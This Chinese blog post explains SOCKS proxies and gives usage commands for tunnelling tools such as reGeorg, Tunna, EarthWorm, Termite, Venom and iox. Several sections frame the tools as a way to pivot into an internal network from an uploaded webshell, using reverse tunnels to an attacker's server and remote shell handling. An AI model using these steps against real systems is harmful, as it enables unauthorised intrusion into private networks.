Socks代理(Socks Proxy)是一种网络代理协议,用于在计算机之间进行数据传输。它可以通过中间服务器转发网络请求和响应,隐藏真实的客户端IP地址,并提供一些额外的功能。Socks代理工作在传输层,可以代理各种网络协议的数据传输,如HTTP、FTP、SMTP等。与其他代理协议相比,Socks代理具有更高的灵活性和功能性。
使用Socks代理时,客户端会将网络请求发送到Socks代理服务器,然后代理服务器会将请求转发给目标服务器。目标服务器将响应发送回代理服务器,再由代理服务器转发给客户端。这样一来,目标服务器无法直接获取客户端的真实IP地址,保护了客户端的隐私。
Socks代理还可以实现一些额外的功能,如:
- 支持认证:Socks代理服务器可以要求客户端提供用户名和密码,以验证客户端的身份。
- 支持UDP协议:与其他代理协议不同,Socks代理可以代理UDP协议的数据传输,使得一些特定的应用程序也可以通过代理进行通信。
- 支持IPv6:Socks代理可以处理IPv6协议的数据传输,使得客户端和目标服务器可以使用IPv6地址进行通信。
平时我们在开发过程中会遇到http 代理和Socks 代理,而Socks 代理具有持续性和稳定性 在各个开发中广泛使用。我们截几张图给大家感受一下
下面介绍一下几款常见的Socks 代理工具。
socks代理工具
基于web服务的socks5工具
基于web服务的socks5工具的优点是,在内网服务器不通外网的情况下也能正常使用。例如:
资产组里有2台机器:主机A、主机B。其中主机A上运行了Web服务,且IP或者端口映射到公网,可以被外部人员访问,主机B是在外网访问不到的。攻击者通过漏洞在主机A上传了Webshell,但同时又出于某些限制并未能得到主机A的主机权限也无法反弹shell,那么他这个时候,也是无法通过常规方法反弹shell或者直接登录主机A从而访问到主机B的。
此时基于web服务的socks5隧道就在这个时候起了作用,攻击者已经有了主机A的webshell权限(即可以在web服务器中上传文件),而主机A可以和主机B通信。那么在主机A上安装相应工具,使得攻击者发出的请求以及目标机器的响应经过A的http转发,达到攻击者可以和主机B进行通信的效果。
常用的工具有:reGeorg,reDuh,Tunna和Proxifier。
reGeorg
reGeorg是reDuh的升级版,主要是把内网服务器的端口通过http/https隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php或jsp这些web程序中的一种。
下载地址:
https://github.com/sensepost/reGeorg
首先选择对应脚本的tunnel上传到服务器
然后访问上传文件,显示如下则表示成功
在reGeorg文件夹下执行reGeorgSocksProxy.py,-p为指定隧道的端口,-u为刚刚上传的tunnel文件地址。
python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.php
打开Proxifier,更改为脚本指定的端口
本地电脑成功通过socks5带进了目标主机的内网
Tunna
下载地址:
https://github.com/SECFORCE/Tunna
Tunna和reduh原理一样.. 使用方法:
- 上传源码包中文件夹webshell下的脚本至网站目录
- 然后本地进行连接上传的webshell即可
python proxy.py -u http://172.0.0.1/conn.php -l 1234 -r 3389 -v
#转发SSH服务需要加上-s参数避免中断
其它功能
#socks代理
goto 对应id
socks 1080
#shell管理
shell 4444
nc -v 127.0.0.1 4444
#端口转发
lcxtran 本地端口 目标ip 目标端口
#上传下载文件
upfile 本地文件路径 目标路径
downfile 目标文件路径 本地存放路径
除了以上基本的socke5代理功能之外,部分软件还支持多层代理功能,下面简单介绍一下几款多层代理工具。
能够进行多层代理的工具
Earthworm(又称ew)
该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处。
使用教程:
http://rootkiter.com/EarthWorm/
使用条件:目标主机通外网,拥有自己的公网ip
选择对应主机操作系统的执行文件。
首先在公网服务器上执行:
./ew_for_linux64 -s rcsocks -l 10000 -e 11000
#-l为Proxifier连接的端口,-e为目标主机和服务器的通信端口。
然后在目标主机中执行:
ew_for_Win.exe -s rssocks -d 1.1.1.1 -e 11000
socks5隧道建立成功,成功把自己的主机带进目标内网。
使用Proxifier,配置ip和连接端口。
Termite
Termite 是EW(EarthWorm)的最新版,主要特性: 多平台支持、跳板机互联、正反向级联、小巧无依赖、内置Shell令主机管理更方便。
官方网站:
http://rootkiter.com/Termite/
项目地址:
https://github.com/rootkiter/Termite
ew 和 termite已经不再进行维护了,下载方式如下
git clone https://github.com/rootkiter/Binary-files.git
cd .\Binary-files\
git checkout bd32230
ls
使用方式
目标在公网
#目标A:
agent_win32.exe -l 8888
#PC:
admin_win32.exe -c 目标ip -p 8888
目标在内网(能出网)
#在服务器运行:
agent_win32.exe -l 8888
#在自己机器运行:
admin_win32.exe -c 服务器_ip -p 8888
#在目标机器运行:
agent_win32.exe -c 服务器_ip -p 8888
目标B在内网(不出网,通出网机器A)
agent正向连接
#a.在服务器运行:
agent_win32.exe -l 8888
#b.在PC运行:
admin_win32.exe -c 服务器_ip -p 8888
#c.在出网机器A运行:
agent_win32.exe -c 服务器_ip -p 8888
#d.在目标B运行:
agent_win32.exe -l 9000
#e.在PC运行:
goto A_id
connect B_ip 9000
agent间反向连
#a.在服务器运行:
agent_win32.exe -l 8888
#b.在PC运行:
admin_win32.exe -c 服务器_ip -p 8888
#c.在出网机器A运行:
agent_win32.exe -c 服务器_ip -p 8888
#d.在PC运行:
goto A_id
listen 9000
#e.在目标B运行:
agent_win32.exe -c A_ip -p 9000
venom
Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。
下载地址:
https://github.com/Dliv3/Venom
安装
go get -u github.com/Dliv3/Venom/...
# $GOPATH是安装Go时配置的环境变量,可通过go env命令查看
cd $GOPATH/src/github.com/Dliv3/Venom
# 编译好的二进制文件存放在当前目录下的release文件夹中
./build.sh
admin/agent命令行参数,admin节点和agent节点均可监听连接也可发起连接。
admin监听端口,agent发起连接:
./admin_macos_x64 -lport 9999
./agent_linux_x64 -rhost 192.168.0.103 -rport 9999
agent监听端口,admin发起连接:
./agent_linux_x64 -lport 8888
./admin_macos_x64 -rhost 192.168.204.139 -rport 8888
fuso
https://github.com/editso/fuso
这是一款用于内网穿透 端口转发的神器,帮助运维 开发 快速部署与接入内网 同时支持CobaltStrike 一键转发等功能。
此外还有一些多功能型的代理工具。
多功能型的代理工具
frp
通过SSH访问内网机器
服务端配置
[common]
bind_port = 7000 # 客户端通信端口
./frps -c ./frps.ini # 临时
nohup ./frps -c ./frps.ini & # 后台
客户端配置
[common]
server_addr = x.x.x.x
server_port = 7000
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000
local_ip配置为本地需要暴露到公网的服务地址。
local_port配置为本地需要暴露到公网的服务端口。
remote_port表示在 frp 服务端监听的端口,访问此端口的流量将会被转发到本地服务对应的端口。
启动
./frpc -c ./frpc.ini # 临时
nohup ./frpc -c ./frpc.ini & # 后台
使用
ssh -oPort=6000 test@x.x.x.x
frp 会将请求 x.x.x.x:6000 的流量转发到内网机器的 22 端口
通过HTTP协议访问内网WEB服务
HTTP 类型的代理相比于 TCP 类型,不仅在服务端只需要监听一个额外的端口 vhost_http_port用于接收 HTTP 请求,还额外提供了基于 HTTP 协议的诸多功能。
服务端配置,修改 frps.ini 文件,设置监听 HTTP 请求端口为 8080:
[common]
bind_port = 7000
vhost_http_port = 8080
客户端配置
修改 frpc.ini 文件,假设 frps 所在的服务器的 IP 为 x.x.x.x,local_port为本地机器上 Web 服务监听的端口, 绑定自定义域名为 custom_domains。
[common]
server_addr = x.x.x.x
server_port = 7000
[web]
type = http
local_port = 80
custom_domains = www.yourdomain.com
[web2]
type = http
local_port = 8080
custom_domains = www.yourdomain2.com
使用
- 分别启动 frps 和 frpc。
- 将 www.yourdomain.com和 www.yourdomain2.com的域名 A 记录解析到 IP x.x.x.x,如果服务器已经有对应的域名,也可以将 CNAME 记录解析到服务器原先的域名。或者可以通过修改 HTTP 请求的 Host 字段来实现同样的效果。
- 通过浏览器访问 http://www.yourdomain.com:8080即可访问到处于内网机器上 80 端口的服务,访问 http://www.yourdomain2.com:8080则访问到内网机器上 8080 端口的服务。
通过socks5搭建隧道
服务端配置,修改frps.ini配置文件
[common]
bind_port = 7000
bind_port:绑定的端口
客户端配置,修改frpc.ini配置文件
[common]
server_addr = x.x.x.x
server_port = 7000
[test]
remote_port = 10000 #代理的端口
plugin = socks5 #使用的协议
use_encryption = true #是否加密
use_compression = true
remote_port: 代理的端口
plugin: 使用的协议
use_encryption: 是否加密
plugin_user= admin #socks5用户名
plugin_passwd= admin #socks5密码
使用
然后可以本机设置代理: socks5 xxx.xxx.xxx.xxx(服务器) 10000,即可访问内网系统
可以利用命令如下命令来测试sockets代理搭建的是否成功
curl --socks5 x.x.x.x:10000 http://www.baidu.com
另外可以在SwitchyOmega中配置sockets5代理可以实现2.2的功能
详细使用可以参考
https://www.cnblogs.com/tomyyyyy/p/15195601.html
iox
具有流量加密、友好的命令行参数、逻辑优化、UDP流量转发等优点
下载地址:
https://github.com/EddieIvan01/iox
使用教程:
https://www.freebuf.com/articles/network/244567.html
两种工作模式
fwd模式:
同时监听 0.0.0.0:8888 和0.0.0.0:9999,将两个连接间的流量进行转发。
/iox fwd -l 8888 -l 9999
#for lcx:
./lcx -listen 8888 9999
监听0.0.0.0:8888,把流量转发到1.1.1.1:9999。
./iox fwd -l 8888 -r 1.1.1.1:9999
#for lcx:
./lcx -tran 8888 1.1.1.1 9999
连接1.1.1.1:8888和1.1.1.1:9999, 在两个连接间转发流量。
./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999
#for lcx:
./lcx -slave 1.1.1.1 8888 1.1.1.1 9999
proxy模式:
在本地 0.0.0.0:1080启动Socks5服务
./iox proxy -l 1080
#for ew:
./ew -s ssocksd -l 1080
在目标主机上开启Socks5服务,将通信流量转发至公网服务器,服务器上将流量从0.0.0.0:9999转发到0.0.0.0:1080。此时,你必须将两条命令成对使用,因为它内部包含了一个简单的协议来控制回连。
./iox proxy -r 1.1.1.1:9999
./iox proxy -l 9999 -l 1080 // 注意,这两个端口是有顺序的
#for ew:
./ew -s rcsocks -l 1080 -e 9999
./ew -s rssocks -d 1.1.1.1 -e 9999
总结:总之,Socks代理是一种用于网络传输的代理协议,可以隐藏客户端的真实IP地址,并提供一些额外的功能。它被广泛应用于网络安全、隐私保护和访问控制等领域。后面我们再介绍一些平时用到的内网穿透代理工具给大家,感兴趣的朋友可以留言点赞。
本文暂时没有评论,来添加一个吧(●'◡'●)